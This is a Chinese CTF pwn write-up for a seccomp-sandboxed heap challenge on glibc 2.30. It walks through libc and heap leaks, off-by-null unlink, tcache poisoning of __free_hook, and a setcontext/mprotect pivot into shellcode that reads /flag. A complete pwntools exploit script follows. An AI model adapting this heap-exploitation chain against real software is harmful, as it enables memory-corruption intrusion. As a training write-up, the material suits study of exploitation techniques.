一、分析

首先查看题目保护:Full Relro,Canary found,NX enabled,PIE enabled

通过IDA查看main函数,程序主体就是一个简单的switch菜单,在while循环之前通过prctl开启了沙箱。使用seccomp-tools可以看到沙箱禁止了execve系统调用,无法使用system(‘/bin/sh’)。因此可能需要通过构造ROP链达到orw读取flag文件。

接着看菜单内部:无法指定新增指针的index,但是此处有个小逻辑:若该index处储存的指针为空,则向这个index处存放下一个申请的指针。但是index指针为什么会空呢,因为在free的时候会将对应指针置空。这么一看似乎把UAF的路给堵死了。但是参考了大佬的方法以后发现,因为malloc以后不会改变chunk中的内容,所以我们可以先free,再malloc,之后就能获取到fd和bk了。

在新增的时候,没有限制chunk的大小,因此这里可以自由使用各种bin attack来进行攻击。其次,存在一个比较明显的off-by-null漏洞,在之后需要利用。

二、思路

由于保护全开,所以第一步必须得获取到libc的基地址。这里可以使用unsorted bin leak来进行获取。首先构造一个足够大的chunk,使其在free的时候直接进入unsorted bin而不是tcache bin。接着构造一个小chunk,使其在被free的时候不会合并到top chunk中。然后将chunk 0 free掉,再malloc同样大小的chunk获取到它的指针。接着通过show操作就可以读出fd(即main_arena附近)的地址了。由于该地址和libc_base的相对位置是固定的,因此可以通过gdb查看以后直接通过偏移量得到libc_base。

接着需要得到heap_base,来构造后面的ROP chain。利用刚刚的chunk 1,再加一个chunk 2,再新建一个chunk 3防止合并,然后将chunk 1和chunk 2依次合并。重新分配一个空间,这个时候由于LIFO,index 1会得到chunk 2的地址。而chunk 2的FD也就是tcache_next,即chunk 1的地址。根据这个地址和heap_base的偏移量(固定值)可以算出heap_base的值。

接着需要利用tcache poisoning实现任意地址写。但是这个技术(参考how2heap中的示例)最好需要有可利用的指针。而本题会对free的chunk进行指针的清空。所以绕个圈子:通过off-by-null实现前向unlink,使得fake chunk被合并,再malloc就会得到这个fake chunk的指针。而这个指针可以在原本的大chunk被free的时候保留下来,从而修改已经被free的大chunk中的内容。

利用刚刚的chunk 1和chunk 2,构造一个fake chunk,然后将chunk 3进行free,令其与fake chunk进行合并,再申请一块内存空间,得到fake chunk的指针。

接着,将事先准备好的chunk 5 free掉,然后再free chunk 1。通过chunk 3的指针对tcache_next进行修改,令其为free_hook的地址。然后将chunk 1和chunk 5申请回来。此时chunk 5的指针指向free_hook的地址。对chunk 5(free_hook)进行修改,令其指向我们需要的gadget。我们需要通过这个gadget来调用setcontext达到修改寄存器的目的,所以找到了这个:

1
# 0x00000000001547a0 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]

它可以将[rdi + 8]处的值赋给rdx,并且call [rdx + 0x20]。而在free_hook运行到gadget的时候,这个rdi恰好是free的指针。所以我们构造chunk 0+8的位置写上chunk 0的地址,chunk 0+20的位置写上setcontext+61的地址。

setcontext会将rdx加上一系列的偏移的地址中的值放到各个寄存器中,包括rsp。所以可以在chunk 0中对应偏移的位置写入对应的值。具体可以见exp中最后一段edit(0)中的注释。接着setcontext函数返回,调用栈进入我在栈中构造的SYS_mprotect函数,并且已经通过寄存器构造好了相应的参数,使得堆中出现了一块可写的空间。

接着就可以继续通过ret调用堆上写好的shellcode了。由于这里不能用execve,我直接使用shellcraft自带的cat获取/flag。如果不能使用mprotect修改堆的可执行权限,这里也可以通过构造rop链来执行orw。

三、exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
from pwn import *

context.log_level = "debug"
context.terminal = "kitty"
context.arch = 'amd64'
debug = True

if debug:
sh = process("./pwn")
libc = ELF("/home/lqz/pwn/glibc-all-in-one/libs/2.30-0ubuntu2_amd64/libc-2.30.so")
else:
libc = ELF("/home/lqz/pwn/glibc-all-in-one/libs/2.30-0ubuntu2_amd64/libc-2.30.so")
ip = "node4.buuoj.cn"
port = 25335
sh = remote(ip, port)


def menu(num):
sh.sendlineafter(b"Choice:", str(num).encode())


def add(size):
menu(1)
sh.sendlineafter(b"Size: ", str(size).encode())
sh.recvline_contains(b"Done!", timeout=0)


def edit(index, content):
menu(2)
sh.sendlineafter(b"Index: ", str(index).encode())
sh.sendafter(b"Content: \n", content)
sh.recvline_contains(b"Done!", timeout=0)


def dele(index):
menu(3)
sh.sendlineafter(b"Index: ", str(index).encode())
sh.recvline_contains(b"Done!", timeout=0)


def show(index):
menu(4)
sh.sendlineafter(b"Index: ", str(index).encode())
# sh.recvline_contains(b"Don not exist!", timeout=0)
# Remember to receive Content: and [+]Done!


# Leak Heap
add(0x40F) # 0
add(0x20) # 1
add(0x20) # 2
add(0x4F0) # 3
add(0x10) # 4
add(0x20) # 5
dele(0)
add(0x40F) # 0
show(0)
sh.recvuntil(b"Content: ")
main_arena = int.from_bytes(sh.recv(0x6), "little")
success("leak_addr(main_arena): " + hex(main_arena))
libc_base = main_arena - 0x70 - libc.sym["__malloc_hook"]
libc.address = libc_base
success("libc_base: " + hex(libc_base))
sh.recvuntil(b"[+]Done!\n")

# gdb.attach(sh)

dele(1)
dele(2)
add(0x28) # 1
show(1)
sh.recvuntil(b"Content: ")
heap_base = int.from_bytes(sh.recv(0x6), "little") & 0xFFFFFFFFF000
success("heap_base: " + hex(heap_base))
sh.recvuntil(b"[+]Done!\n")
# gdb.attach(sh)

add(0x28) # 2
edit(1, p64(heap_base+0x6c0)+0x18*b'a'+p64(0x50))
# 0->2->1->3->xxx chunks
edit(2, p64(0)+p64(0x51)+p64(heap_base+0x6f0-0x18)+p64(heap_base+0x6f0-0x10))

# gdb.attach(sh)

dele(3)
add(0x100) # 3
edit(3, flat({0x18:0x31}))

# gdb.attach(sh)

dele(5)
# gdb.attach(sh)
dele(1)
# gdb.attach(sh)

edit(3, flat({0x18:[
0x31, p64(libc.sym['__free_hook'])[:7]
]}))
success("free_hook: "+hex(libc.sym['__free_hook']))
# gdb.attach(sh)
add(0x20) # 1
add(0x20) # 5
# 0x00000000001547a0 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
edit(5, p64(libc_base + 0x0000000000154b90))

# gdb.attach(sh)
start_addr = heap_base + 0x2a0
edit(0, flat({
0: start_addr + 0x100,
0x8:start_addr,
0x20: libc.sym['setcontext']+61, # gadget 2
0xa0: start_addr, # rsp
0xa8: libc.sym.mprotect, # rcx
0x68: start_addr & ~0xfff, #rdi / SYS_mprotect_addr
0x70: 0x4000, # rsi / SYS_mprotect_len
0x88: 7, # rdx / SYS_mprotect_prot
0x100: asm(shellcraft.amd64.linux.cat('/flag')),
}, filler='\x00'))

gdb.attach(sh)

dele(0)


sh.interactive()

__END__